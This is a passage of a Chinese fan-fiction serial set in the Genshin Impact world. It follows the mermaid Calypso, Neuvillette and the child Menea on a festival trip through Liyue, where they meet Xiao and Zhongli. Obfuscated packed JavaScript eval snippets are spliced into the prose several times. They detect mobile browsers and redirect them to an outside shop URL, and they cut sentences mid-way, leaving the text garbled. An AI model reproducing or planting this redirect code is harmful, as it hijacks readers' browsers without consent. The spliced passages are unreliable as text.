“这是卡吕普迪斯,枫丹的人鱼,海洋的守护者也是我最好的朋友。用他最喜欢的家庭的概念来解释我们的关系,他应该承担着[哥哥]的职责。” 静原:“喂喂,什么叫‘应该’?” “因为你是个幼稚鬼啦。这是阿列克谢,至冬的棕熊,森林的保卫者。在过去很长的至冬生活中,都是阿列克谢陪伴我。帮我带过那些我曾抚育的孩子,也为我维持了一段时间的形体,不至于立刻消散。”福勒依斯摸摸熊脑袋,“他看着是个沉默的可靠熊,实际上是个不知道怎么说话的小孩。虽然现在的年纪怎么看也不像孩子了。” 静原吐槽:“你也知道啊。” 福勒依斯叹气:“我想说的是,我和阿列克谢的关系即是朋友又是姐弟,他一直把我当做可以信赖的女性长辈,而不是可以追求的仰慕对象,明白吗?” 因为一个稍微有点自尊心的男人都不乐意在心怡的对象面前主动暴露自己的狼狈和弱小。如果是对姐姐寻求帮助的话,那不是情理之中的事吗? “容师傅他们会打趣,也是因为只知道有以前的男性朋友邀请我去至冬。我没有把阿列克谢的困境说给他们听,直到你来。”因为卡吕普迪斯值得信任,因为卡吕普迪斯不会踩阿列克谢的痛脚。 静原松了口气:“太好了,我不用担心你再回到至冬了。”福勒依斯清清楚楚解释过后,静原就不会再为此表态了。 阿列克谢想说至冬不是什么龙潭虎穴,不过想想自己的遭遇,又觉得没什么可反驳的,福勒依斯当年不也是在至冬丢了大半条命吗?于是他只能沉默。 “好了,现在让我们思考一下阿列克谢以后定居璃月还是枫丹。”静原拍拍手掌,“直到明天天亮,我们都有充足的时间来思考。” 福勒依斯给阿列克谢细细讲述了枫丹和璃月的不同。人文、气候、地理、政策,以及历史。她在两地都生活了很多年,对这些异常了解。 “综上所述,如果选择在枫丹生活,缺点是你要和龙裔做邻居,接受卡吕普迪斯时不时的骚扰(静原:喂!)。枫丹气候过于温暖,你要褪下毛发。人类的活动足迹异常广阔,机械造物分布与各处。优点是气候温暖,食物充足,美露莘们很好相处,那维莱特也是相对来说仁慈的王。而且你的入境许可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473318|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和居住证明很快就能办下来。”毕竟有卡吕普迪斯这个会直接打报告的家伙走后门。 “如果选择在璃月生活,缺点就是夏季和冬季都很极端,夏天很热,冬天很冷,少数地区例外。仙家众多,话唠的不在少数,邻里关系不好处理。总务司那里的证办下来很慢,少说也得个把月。优点是四时有序,不伤害人类的话,无论是人还是仙家都很好相处,而且有很多好吃的食物。” 福勒依斯看向熊熊的金棕色眼睛:“阿列克谢,你要住在哪里呢?” “你住在哪?” “璃月沉玉谷。” “那我也住在这里,和你当邻居。”就像以前一样。 静原很爽快的点点头:“那等会到了枫丹,先去伊黎耶林区暂住一段时间养好身体,我和福勒依斯去办你的入境许可证和居住证明,等你的伤养好,差不多也就能搬进沉玉谷了。”上下打点也是需要时间的,不在枫丹,那他能做的就有限。 终于回到了枫丹,静原扛着阿列克谢走进伊黎耶林区,带着他和龙蜥们见了面,确定只是暂住后,龙蜥大度的表示没问题,我们会好好相处的。然后就扭头继续自己的【进化】大业。 一定要重获那维莱特大人的宠爱!水龙蜥们孜孜不倦的努力,将自己庞大的外形贴近更娇小的美露莘。 静原对这帮家伙没话讲了,那维莱特你这个罪恶的男人…… 短暂的和那维莱特见了面,告诉了他自己干了什么。 王用一种很不赞同的目光看着他:“明知道有风险,为什么还要选择交出自己的身体组织?”你大可以打败他然后带阿列克谢和福勒依斯平安回来,枫丹不是无法庇护你们。 可是静原挠头:“能不暴露行踪就不暴露吧,不然我白努力挨冻了。博士拿走我的身体组织去制作切片,不管他是不是按照我的要求定做,但总的来说切片不会吃亏。那维莱特,你也很清楚人鱼的力量本质是破坏,没有人压制,脾气可是很暴躁的。” 卡吕普迪斯的权能是漩涡,天哪,这明摆着就是破坏的力量,而他用这个力量的次数很少,是因为他曾是人类,是因为王授予他守护的责任。所以静原使用力量一直都很克制,明明是个主C,非要去打辅助。切片不说拥有他全部的力量,起码也能傲视人类(包括神之眼和邪眼持有者)。自保有问题吗?没有问题。 那维莱特:“不痛吗?” 静原耸肩:“不痛啊。”博士敢让他痛吗?一尾巴就扫过去了。 “好了别担心,这点我心里还是有数的。”一具躯体能带来的价值远超于其隐藏的风险,那就是值得的,“反正我会去取走切片,最后还是要回到枫丹的。” 那维莱特确定眷属没有受伤,这才安心。 “别走,帮我批一下文件。”那维莱特一把拽住了准备溜出去玩的静原,“批完下班。”年轻的水龙已经学会了抓壮丁,真是可喜可贺呀。 静原:“……好。” 那维莱特你这个罪恶的男人! 老老实实坐下来看文件的大守护者在心里狂戳上司小人。 89.海灯节来咯 预订了鱼片,安顿好阿列克谢,逛了逛枫丹科学院,顺理成章的威慑(恐吓)一番,年底四处闲逛顺手给特巡队加点业绩,那维莱特终于开恩放静原去玩了。 “注意安全,卡吕普迪斯。”那维莱特对他只有这唯一一个要求,“我的假期很快就到。” 加班多日的静原点点头,然后就像挣脱绳子在雪地撒欢的北地犬一样,乐颠颠的跑出沫芒宫。路上遇到了正在和克洛琳德喝咖啡的娜维娅,得到了一整盒仿制龙龙饼干做的美露莘饼干。 “用了茉洁草、泡泡橘、黄油、禽蛋、面粉。其他颜色的饼干用的是可食用色素揉进面团上色的哦。”娜维娅翘鼻子,满脸都写着快夸我快夸我。 静原登时就走不动道了,尝过两块后更是直接握住娜维娅的手,目光炯炯有神:“请务必再做两盒!我愿意支付一切报酬!” 今年送那维莱特的新年礼物有了!! 娜维娅笑得像朵花似的:“很简单的,我教你呀。克洛琳德也跟我学着做烤饼干了呢。” 最强决斗代理人对二位举杯示意:“娜维娅会是个好老师。” 除了炖肉和沙拉啥也不会做的厨房白痴静原沉默了一会,最终还是对娜维娅烘焙教学的信任占据了上风:“等我回来去刺玫会找你学。” 这些美露莘饼干太可爱了,感觉那维莱特会是那种舍不得吃,把饼干喷干燥剂放成装饰物的人。 那这样的话,他烘焙失败也无所谓吧?只要样子好看,口味糟糕也没什么关系…… 静原忐忑的想着,觉得自己在弑王边缘摇摇欲坠。 接下来的日子陪着福勒依斯在璃月港逛了几天,去总务司那申报,购买了年节的特产货物,静原顺手定下了预备给璃月熟人送的礼,觉得没什么疏漏了,这才提着点心回枫丹拜访娜维娅。 没想到芙宁娜也在。 “我来看你学烤饼干。顺便蹭刺玫会的茶水点心。”吃腻了速食的前任水神大人坐在小圆桌边托腮看着人鱼,对方围着围裙的样子还挺贤淑,“加油呀卡吕普迪斯,我还没吃过除了番茄炖肉外你做的食物呢。” 因为我只会番茄炖肉啊。 静原无奈心想,把买的点心分了分,有一半都落入了芙宁娜的肚子,各种璃月点心让她吃得两颊鼓鼓囊囊,像只冬储秋藏的小松鼠。 静原的烘焙学习不是很顺利,先不提过于精细测量和搭建每一款美露莘饼干模样这个环节复杂到头皮发麻,单单是揉面团这步就折戟沉沙了。 人鱼盯着自己过于锋利尖锐以至于捅破一双又一双手套的指甲出神,芙宁娜啃着马克龙劝:“千万别做傻事啊卡吕普迪斯……”你总不会一气之下把爪子咬掉吧? “我没想过剪指甲。”这是海洋生物猎食的武器,静原不至于剪掉磨平。 冷静啊静原,你可是拥有能握着矿石雕刻的巧手的啊!他如此给自己打气,把破损的手套摘下,重新套了一双新的。最后运气半天,他还是屈起手指用掌心揉面,过后更是小心翼翼的染色揉捏,搭建拼装组合成美露莘的卡通模样,然后切片烘烤。娜维娅这位烘焙大师全程盯着一眼不错,最后成品出炉,三人都松了口气。 锵锵,卡吕普迪斯特制的美露莘饼干闪亮出炉。 芙宁娜特意尝了一块:“嗯嗯!酥酥脆脆,很好吃。” 报废了娜维娅十几双手套的饼干最后得到了这位烘焙大师的首肯:“很棒呀,卡吕普迪斯你第一次做饼干就能做出这样的成品,超棒的。” 被哄高兴了的静原一下午都蹲在厨房揉面烤饼干,最后的结果就是芙宁娜撑得走不动道,娜维娅欢天喜地采购补充厨房食材储存,静原抱着摞起来有一人高的盒装饼干离开。 看似很多,实际上分给亲友后也不剩下啥。静原的家人和好朋友可是很多的。那维莱特放假第一天就收到了美露莘饼干,舍不得吃,盯着看了好久,还能认出静原做的是谁。 “这个是格蕾丝蒂,这个是塞德娜,这个是梅莘,这个是玛梅赫,还有希格雯……”那维莱特记得每一个美露莘的样子,眼神异常柔软。 静原得意的哼哼笑:“这次做的只有她们几个,过些天我再做一批。每个孩子都会有属于自己的饼干。你不吃的话,饼干很容易放潮。” 那维莱特这才忍痛咬下了美露莘饼干的头。 饼干送到梅洛彼得堡护士长手中的时候,静原已经带着那维莱特和梅内娅一起坐上去沉玉谷的船了。 去年海灯节期间,那维莱特也来过一趟沉玉谷,不过因为假期短暂,所以很多地方都是匆匆略过,也没有走太远。这次倒是闲下来,能好好散散步。 梅内娅在纳塔旅行了不短的时间,对于出国旅行这件事已经十分坦然且从容。戴着草编小圆帽,背着海星形状的零食背包噔噔噔踩着石板走路,两位大家长跟在后面,见她多看了两眼什么,抬手就付钱拿下。 那维莱特是公正无私也没什么私欲的审判官没错,不过这并不妨碍他拿着自己的合法工资在度假期间给家里的孩子买东西。导致静原这次出来都没什么机会花钱。 静原:这合理吗? 那维莱特:这很合理。 梅内娅喜欢沉玉谷的漂亮小罐子(陶瓷器具),美味可口的点心,以及藤编的小球。 “罐子装亮晶晶的玩具,点心带给姐姐她们,小球可以用来和悠悠海獭膨膨兽做游戏……”梅内娅心里可有数了,扭头问家长,“那维莱特大人和卡吕普迪斯大人觉得怎么样?” 那维莱特微笑颔首:“分享、收纳、游戏、合作。你已然做得很好。” “我们梅内娅真是乖孩子。”静原摸摸小美露莘的头,帮她戴好小圆帽,装饰的虹彩蔷薇娇艳,“那边有人在卖花,我们去看看好不好?” 梅内娅当然点头说好,牵着叔叔的手晃晃悠悠去集市上看鲜花。 虽说是冬日,但今年的初雪还未落下。集市上卖花人多半采的是清心与莲花,小盆栽里种着含苞的茉莉与山茶——无论在提瓦特生活了多久,静原都会为这些四季的花草震惊。 “沉玉谷的气候养人,植物也长得很好。”那维莱特看着这些枫丹几乎见不到的美丽花朵,突然想起了什么,“你之前是不是尝试过在枫丹的湖里种莲花?” “那都几百年前的事了吧……”静原无奈,不过知道这是长生种活了太多年拥有太多记忆的弊端,大多数回忆都好像发生在昨天似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14481190|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,“确实试过,但无论是莲子还是藕节都没有办法长成璃月野生那般茁壮的莲叶与花。最好的情况也不过是叶片更大,花朵却小了不少。果然特产之所以叫特产,就是因为特别啊。” 隐约记得那些年卡吕普迪斯经常往家里带鲜花的那维莱特若有所思的点点头。 前面遗珑埠的小贩在售卖红枫制成的书签,纂刻了璃月的诗句,捏一片对着阳光看,叶脉清晰,还保留着深秋季节的色彩。那些文字好像带着什么神奇的魔力,叫不识璃月文字的外乡人也能为止驻足。 十分精巧,于是他们买了整整一套。 坐在竹筏上顺着河水西行的时候,静原捏着一片红枫书签对璃月的字连蒙带猜,只能依稀辨认出这片叶子上的诗:“去来如一,真性……什么然。风收云……” 他磕磕巴巴的辨认声音引来船工的附和:“去来如一,真性湛然。风收云散,月在青大*。后生哟,可是这一首诗?” 静原琢磨了一会,迟疑点头:“应该是?” 完了,穿越千年,老本事都忘得一干二净了。静原在心里狂甩泪,深觉丢人。 “这首诗是什么意思呀?”梅内娅仰头好奇问,“璃月的诗和枫丹的诗不一样呢。” 船工笑呵呵,对于梅内娅非人的长相也并不意外。沉玉谷挨着枫丹,璃月人走南闯北,自然是将美露莘这个种族的消息传递到故乡了的。何况他年纪大了,辨认得出来这小孩眼睛里的纯真:“当然呀,璃月的诗字数越少越精,想要表达的意思都在其中啦。生和死,去和来没有区别。真实的本质清澈明净。风停了,云散了,月亮悬挂在蔚蓝的天空中。这就是这首诗的意思。” 梅内娅掰着叔叔(卡吕普迪斯大人)和好爸爸(那维莱特大人*②)的手指数了半天,诗是十六字,这个船工爷爷说的可不止十六字呢! 静原用那点仅剩的文学素养品了品,最后得出结论:“这不像活得好好的人能写出来的。”非对人生大彻大悟后不可作。 船工乐呵呵:“因为这首诗是那位诗人临终所作啊。” “难怪……”静原捏了捏美露莘的小手掌,把书签递给好奇的那维莱特,“璃月的纂刻技术真不错。” 那维莱特隔着手套抚摸薄薄书签上的痕迹,印刻技术他不懂,不过不妨碍他欣赏:“文字的魅力大概就在于此。”承载历史,承载前人的所思所想。生如蜉蝣,寿数短暂的人类凭借文字与文化承载过去与未来,连接前人与后人。无论过去多少年,只要念出这样的文字,就能隔着遥远的时间与空间与作者共鸣。 静原眯眼笑:“所以我喜欢来璃月玩嘛。虽然看不太懂,但经过讲解,还是能够欣赏到这种深厚文化底蕴不经意间透露出来的美丽。” 七国之中,只有富足,安宁而强大的璃月和枫丹拥有这样的文化魅力。其他五国战乱且不提,或多或少都有大问题。只有璃月靠君父的守望从容过渡到人治,只有枫丹靠水神以一己之力逆天改命。治下社会安定,人民幸福,文娱产业更是欣欣向荣。不怪静原璃月枫丹两头跑。 船工被这一趟载的外国客人夸家乡夸高兴,心里美得哟,只觉得这些外国友人识货有眼光,撑船的手都更有劲了。 90.言笑晏晏 抵达翘英庄后稍作歇息,然后继续出发。 古树茶坡与药蝶谷中间碧绿的草地,清澈的河水显然让水龙感到愉悦,静原看见他白发上搭着的两根柔软下垂的角都在晃荡。梅内娅则是好奇的敲敲药蝶谷那些随处可见的大罐子,掉出来许多新鲜得好像刚刚摘下的清心、琉璃袋、琉璃百合、霓裳花与薄荷。梅内娅不认识大多数璃月特产植物,只觉得香香的又好看,便问家长这些花草能不能带走。 蝴蝶悠然翩跹,静原随意的抬手驱走了这些昆虫:“选你喜欢的一些带走,此地的主人不会生气的。” “那还是算了吧,有主人的花是不能随便拿走的。”梅内娅又噔噔噔跑回来。 静原浅笑。 那维莱特倒是对溪流潭水目不转睛,显然很想来上一口。于是人鱼先生只能用小银瓶给他灌了些:“这里的水我不敢多取,经年累月的泡着药材仙草,总有些药性。福勒依斯她们来古树茶坡喝茶都是选露水冲泡。” 药蝶谷是沉玉谷药君的地盘,即便那位药君已离开太久不知所踪,此地的药材花朵可没多少人敢碰,一直储藏在地上的“大罐子”里,流水淙淙,植物浸泡其中,这小小的药蝶谷连水都带着几分温和的药性。味觉灵敏的人嫌有味道,都不爱喝。 不过那维莱特显然是不担心这些的,等待渡船来时他打开小银瓶品水:“雨露滴落在植物上,顺着枝叶流淌进河流曲潭中,风扰动流水,因而清冽,微苦,回味却也甘甜。” “你怎么品出这么多感受来。”静原只能尝到类似薄荷那般的清爽口感,水族对于水的味道变化很敏锐,因为提瓦特的流水承载着回忆。不过他大概粗神经习惯了,尝不出太多花样来。 那维莱特只是仔细的收好这只银瓶:“也许是初次造访,所以感受得细致些。这块土地的确有很多年没有人类到来了,流水的记忆里只有白蛇与锦鲤……是有什么寓意吗?” “白蛇是药蝶谷曾经的主人,如今不知在何处。锦鲤是沉玉谷的仙人,和白蛇是朋友。这么说来真的隔了很多很多年啊……”,静原摊手“好了,继续前进吧。下一站是轻策庄,晚上我们可以住在望舒客栈。” “都听你安排。”不常出门的大宅男水龙王理所应当的信任经常出门溜达的眷属。 梅内娅扑了只蓝色的闪蝶,好奇的瞅了半天,直到叔叔喊她才松开手掌,放那只可怜的蝴蝶离开。 竹筏漂来,摆渡人载着他们从药蝶谷这偏僻地方逆流到古树茶坡东边,顺着狭窄的河道前行,两岸视野逐渐开阔,草地也从碧绿变得微黄,气候逐渐转寒。 支付了摆渡人摩拉,静原带着一大一小走上小路,一侧是青绿的竹林,一侧是芦花飘荡的大河。璃月大地的好风光就这样展示在他们眼中。 “那维莱特大人,溪流里的河蚌能孕育珍珠吗?”梅内娅还没到能欣赏广阔风景的年纪,她更喜欢能触碰到的小事物。踩着河水蹦跳,去浅水滩捉小鱼小虾,看见那些滑不溜秋黏黏糊糊的河蚌,好奇的抓住举起来,能的话她就打开咯。 梅内娅当然会开珍珠,枫丹的海洋河流里多的是蚌与贝,依水而居的美露莘们是海洋的精灵,她们小时候都是用珍珠当弹珠来玩的。 那维莱特摇摇头:“河蚌生活在淡水里,体内孕育的珠子并非珍珠,就像卡吕普迪斯的眼泪像珍珠,实际上不是。” “怎么提到了我的名字?” 跑去竹林吭哧吭哧掰笋子的静原听到了声音,抓了两只带泥的竹笋跑过来,一脸懵,逗笑了那维莱特:“梅内娅在好奇河蚌能不能开出珍珠。我用你的眼泪给她当例子说不能。” 真能泣泪成珠的美人鱼先生就着河水洗去手上和笋壳上的泥土:“虽然都属于分泌物,但珍珠之所以叫珍珠,就是因为质地坚硬,属于一种有机宝石,指圆润而美丽的珍品宝珠。淡水河蚌孕育的天然蚌珠很少很少,而且不好看,也不圆润,严格来说并不是你以前玩的那些珍珠哦。” 梅内娅果断放弃了打开这只河蚌,于是放回水中,去采芦苇荻花和马尾了。 “要不要给她买一盒珍珠玩?”那维莱特亲自照料美露莘的次数并不多,只当时孩子想要珍珠了。 静原摇摇头:“她只是在找玩具。海沫村有很多珍珠,品质不说举世无双,也是海水珍珠里的精品了。梅内娅对那些不感兴趣,你看,等会她就要追青蛙螃蟹追到水深处去的。” 虽然美露莘会水,但是大多数美露莘习惯了海水的盐度,异国的淡水泡着不是很舒服。 话音刚落,采集了一大束马尾和芦苇的梅内娅就被青蛙吸引了目光,脚尖一转,朝着另一边的深水区行动。 静原对着那维莱特耸肩:“孩子是这样的……梅内娅,回来吧,我们要去下一站咯。” 蹑手蹑脚跟着青蛙踱步的梅内娅眼看着青蛙一下子跳远,也不生气,扭头就奔向家长们:“来啦来啦!” 他们穿过竹林,顺着小道绕着山坡旋走,穿过年久失修的桥,视野顿时开阔。 提着两颗笋子的静原正在跟那维莱特解释笋子是怎么长成那样高大秀美的翠竹的,突然听到前方小竹林里略有些耳熟的声音。 “……我们这样拿走供果不太好吧……这大过节的……” “之前拿的还少了?” “海灯节祭祀和平日祭祀能一样吗?” “这地方挨着小道,供果就是供行人饿了渴了取用的。你饿不饿?渴不渴?既然又饿又渴,也不是为了浪费或者牟利,这些苹果就拿着吃吧。” “……好吧……” 竹篱笆和竹林后金色的身影绕过来,正好和站在那不知听了多久的两大一小面面相觑。 慢了一步飞过来的派蒙被吓到,一块苹果卡喉咙里,半天才咳出来:“那维莱特?卡吕普迪斯?!还有梅内娅!你们怎么会在这里?” 那维莱特颔首致意:“留了两天假期来璃月旅游,正好路过这里。” 静原晃了晃手里的笋子:“我经常来璃月玩的,这次走远了些。这是刚挖的笋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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派蒙提议:“旅行者,我们快些做完委托吧,也许今天晚上能在望舒客栈看见那维莱特吃饭呢?他如果吃得不高兴但是碍于礼仪不说,我们能看出来就给他好好做顿饭吧。”总不能让人家大过节千里迢迢赶来璃月,结果吃不满意吧。 “好啊,不过话说,水龙王造访璃月,魈知道吗?” 派蒙想起那位冷面的降魔大圣,有些迟疑:“也许、应该、可能……知道吧?卡吕普迪斯说是福勒依斯帮他定的房间和席面,纯水精灵来望舒客栈活动,魈肯定是知道的。” 或许卡吕普迪斯对接好了呢?他向来知道得比自己多,敢带那维莱特到璃月旅游,肯定有他的考量吧。 并不知道龙王级别的存在要来的降魔大圣,此时正站在望舒客栈顶部,周围是金色的枝叶,有风吹拂而过,带来了非人之物的气息。 “强大的非人之物……”魈上仙喃喃道,强大的风涡扭曲了空间,他消失在原地。 91.飞鸟与鱼与海 轻策庄多是一些老人和孩子居住,年轻点有力气的小伙子大姑娘基本都离开了村庄,去更繁华的璃月港讨生活,只是月余寄些钱回来赡养家中老者。孩子们最盼着海灯节,毕竟在璃月人朴素的观念里,海灯节就是要家人团圆的,海灯节父母就会回家。 也因此,当那维莱特被一些好奇的孩子围着说话,不经意间感受到他们对于梅内娅的羡慕后,顿了顿。 真好啊,那些孩子注视着外表异于常人的梅内娅,有爸爸陪着真好啊。 虽然他们长得一点也不像,但是这也没有什么问题啦。一些告老还乡的千岩军父母双亲皆去世,无儿无女,也会收养一两个孤儿照料。 梅内娅看得出来那维莱特在思考,很贴心的用零食和玩具将比她高不了多少的孩子们引开,然后一起在山间溪流边做游戏。 “在想什么?”刚和轻策庄主事的夫人说明来意,得了桌椅和茶水点心照料,静原马不停蹄来接被“寄存”在庄外的兄弟和侄女。 “在想他们的思念。”那维莱特琢磨了一下词汇,“思念本来是无形之物,但是不知为何,这些孩子的思念沉甸甸的,指引的方向却十分模糊。” 静原:“唔……留守儿童逢年过节就会更想念离家的父母,但是绝大多数孩子都只是模糊的知道父母在外打工,或者出远门。并不知道具体的位置。” 静原点点头:“思念无形也无声,想来你以前很少接触到这样的情况。” 那维莱特并不急于否认,只是说:“那些年你离开枫丹,去往至冬以及纳塔地区的时候,我也很思念你。” 越来越怪了,我在拿孩子想爸妈的案例分析啊。 这么想我……静原露出了智慧的眼神:“要不你叫我哥?” 这要是在久远的过去,不知天高地厚的静原绝对要说“你喊我爹算了”。 那维莱特:…… 那维莱特并不言语,只是把双手搭在静原肩膀上,按着他一转,面朝山路背对自己,意思昭然显现,不言而喻。 滚吧。 那维莱特的人设,或者龙设当然不会这样粗鲁,水龙的意思大概是拒绝。但静原想了想,觉得“滚吧”比较符合那维莱特对他无语的心境。 什么深沉的感情都散了。 是的,他也知道自己经常干一些叫亲友没话讲的事情。可是卡吕普迪斯说了,人活在世上不欠一下等于白活。 “嘿嘿。” 很多很多年前,那维莱特的烦恼是:人类为什么又哭又笑?为什么人不会在下雨天淋雨?卡吕普迪斯总是偷偷哭,他为什么那样难过? 他见过卡吕普迪斯忧郁的模样,知道悲伤和怀念的气味闻上去酸酸苦苦,像是一杯不加糖不加奶,却有酒调味的咖啡。 卡吕普迪斯曾被人类世界的情感冲昏了头脑,沉湎于过去,沉浸在虚假的幻想中,就连睡梦时期也会忍不住流出那些珍珠般的眼泪。 很长一段时间里那维莱特无法理解卡吕普迪斯如此肖似人类的丰沛情感,他只是看着卡吕普迪斯从哀伤到麻木,再从麻木到触动,无能为力,无法干预。看到对方从至冬回来后再次展露笑颜,那维莱特心里松了口气。 只要他能欢笑,能快乐,作为王的自己也会觉得温暖。王座太高又太冷,如果周围的亲眷都不欢笑,连他也会觉得难以忍受。 尽力满足眷属的期待是王的职责,也是王的心愿。 那维莱特见过卡吕普迪斯忧郁悲伤的那些年,所以哪怕卡吕普迪斯现在皮得不像样,他也没有生气过。无奈之后心想真好啊,他还能高兴起来*。 皮就皮吧,总比哭好——那维莱特无师自通了人类社会老父亲对体弱多病幼子的情感。连偶尔的冒犯也都接受了。 (静原:我宁可不要(●—●)) 在轻策庄吃了几杯茶,带着那维莱特看了水车和竹做的用具后,梅内娅和她交到的朋友们挥手说拜拜,然后牵着叔叔和爸爸的手继续前进。 轻策庄距离目的地望舒客栈很有些距离。梅内娅走了一天脚疼,于是被那维莱特和静原换着抱,天快黑的时候,更是把脸蛋贴着那维莱特的脖子沉沉呼吸,睡得不省人事。 带着孩子赶路总是要慢些的,但抱着孩子走的话,以他们俩的脚力加速前进很容易 。 那维莱特轻轻拍着小女孩的背,压低了声音同静原讲话:“她现在就睡的话,晚上会不会睡不着?” “大不了陪她玩会,哄着睡觉。”静原提着梅内娅的海螺外形零食包晃了晃,“小孩的精力来得快去得也快。” “是吗……有风来了。”那维莱特提醒他。 静原还有闲心思摸了颗巧克力剥开塞嘴里:“没事,大概是璃月的保安。” 和话一起应声而落的还有个身着青白衣衫的少年人,发间青绿,眉心朱紫。拿着把碧玉长枪挡在他们俩前进的路上,背后就是望舒客栈的木招牌和木桥。 “非人之物进入璃月腹地,可有凭引?” 那维莱特注视着这个陌生的少年,强大的风涡与他来时的气息交融,有些……污浊的风元素力? “你是璃月的降魔大圣吗?”静原一点也不意外的从兜里掏出入境许可,“我们从枫丹来璃月旅游,为期两天一夜。这是身份证明。” 那维莱特沉默的注视着,怀里的梅内娅睡得香甜。 少年,也就是降魔大圣,知名璃月保安魈上仙顿了顿,接过相关证明翻看,确认盖章是总务司月海亭那边的真印无误,迟疑的念出对方名字:“卡吕普迪斯?” 静原微笑颔首:“嗯哼。” “那维莱特?” 那维莱特点头致意。 梅内娅自然不用应声,魈上仙还不至于冷面无情到检查身份对睡着的孩子也要叫起来回来的地步。确认那孩子是真的熟睡而非迷晕后,魈点点头:“刚刚多有冒犯,还望见谅。我名魈,路遇艰难险阻,可呼我名。” 静原依旧微笑:“好呀。” 魈沉默了一会,想说些什么,那双金色的眼瞳几经闪烁,最后抿了抿嘴唇,还是什么也没说。风涡扭曲空间,他唰的一下就不见了。 静原只是感慨:“风元素赶路是真好用啊。” 这下那维莱特不沉默了:“怎么感觉你在遗憾没有风系神之眼?” “咦?这话可不兴说呀。”静原想起某个设定,“我可不想你出事。还是水系好,血厚,能打能抗能奶。我很满意。” 那维莱特确定眷属没有胳膊肘往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那维莱特不明所以:“哪有?”这是哪门子的灵验? “似乎有故人来了?”那位先生起身转过来,鎏金色的丹凤眼眼角红霞堪称神之一笔,“原来是静源小友,别来无恙。” “钟离先生也好。”静原坦然自若,挥挥手,笑得超甜,“钟离先生今晚也在这家客栈住宿吗?” “只是来看望孩子,吃顿便饭。你们来得不巧,他刚刚才离开。不然还能介绍你们认识。”钟离眼角带笑,“这两位是……?” “那维莱特,家中兄长。”静原顺便看了一眼老大的表情,确定对方没有当场发难的意思,这才介绍下一个,“还有梅内娅,我的小侄女。长途奔波,小姑娘有些累了。” 那维莱特盯着钟离一个劲猛瞧,像是发现了有什么不对劲一样,但是什么都没有说。 “钟离先生继续用餐吧,我们得带着孩子回房间了。下次见面再聊,回见~”静原想走的态度也很明显,几乎是推着那维莱特走的,扭头跟老板说,“菲尔戈黛特夫人,麻烦把我们那桌席面打包送到房间哦。” 望舒客栈老板菲尔戈黛特微笑回应:“好的,客人。” 92.旅游琐事 说实话,作为知晓钟离真实身份但一直装作不知道的静原,多多少少有些担心那维莱特和钟离对上。 那维莱特可是刚拿回古龙大权就敢叫板其余六神,说要审判其罪行的年轻龙王啊。 嗯……说是“叫板”似乎有些看轻那维莱特的意思。静原作为眷属,虽然未曾直面尘世七执政的威能,但五百年前也曾远远感受过。现在只需回想就能将他们全盛时期的实力估摸个大概,知道自己对上神明能有几分胜算 。 那维莱特是位阶和实力都比他更高的,不可逾越的元素龙王,如果静原保守估计自己对上全盛时期六神任何一位都是五五分胜算的话,那维莱特就是毫无悬念的必胜。 围殴另讲。 拥有古龙大权意味着站在了元素生命的顶点,拿到了这世界最原始最强大力量权柄的七分之一。实力是自身底气,那维莱特能说出审判诸神,逆转乾坤这些话,其实真的不虚。 静原不担心那维莱特认出钟离审判摩拉克斯,就算真的打起来,他还能跑南天门去解开若陀龙王的封印把局面闹得更大更不好收场。但问题关键是,两国的友谊要如何继续呢?摩拉克斯假死,把岩神神之心给了至冬女皇,就是为了他们心知肚明的计划。静原虽然不站在神的阵营里,但只要六神有意向干翻天理,静原说什么都要帮忙。 所以他担心的是那维莱特知道若陀龙王的事迹后,忍不住对摩拉克斯发难,两国人类的友谊无法继续,至冬的计划半路夭折。水龙的情绪感知力度可是很敏锐的,他当审判官多年,早已学会如何从书面文本抽丝剥茧还原事件真相,若是在璃月听到说书人谈《画龙点睛》,静原拼死也拉不住那维莱特啊。 只能装糊涂了。 静原在心里千回百转,那维莱特已经在哄打着哈欠醒来的梅内娅:“肚子饿吗?” “嗯嗯,好饿呀。可以吃晚餐了吗?” “当然可以了。”他摸摸小女儿柔软的额发。 很快客栈的侍者将席面送到房间的大圆桌上,热气腾腾,食物的香气很快充盈房间。 被侍者拉到旁边对了单子,确认没有遗漏后,侍者这才离去。静原招呼着两个吃饭:“客栈掌柜担心咱们几个外国人不会用筷子,特意送了刀叉汤匙。挺贴心的嘛。” 那维莱特是知道璃月和稻妻那边都用筷子进食,不过真的看见静原两根小木棍使得飞舞,还是会看好半天,琢磨着自己要不要也学怎么使用筷子。 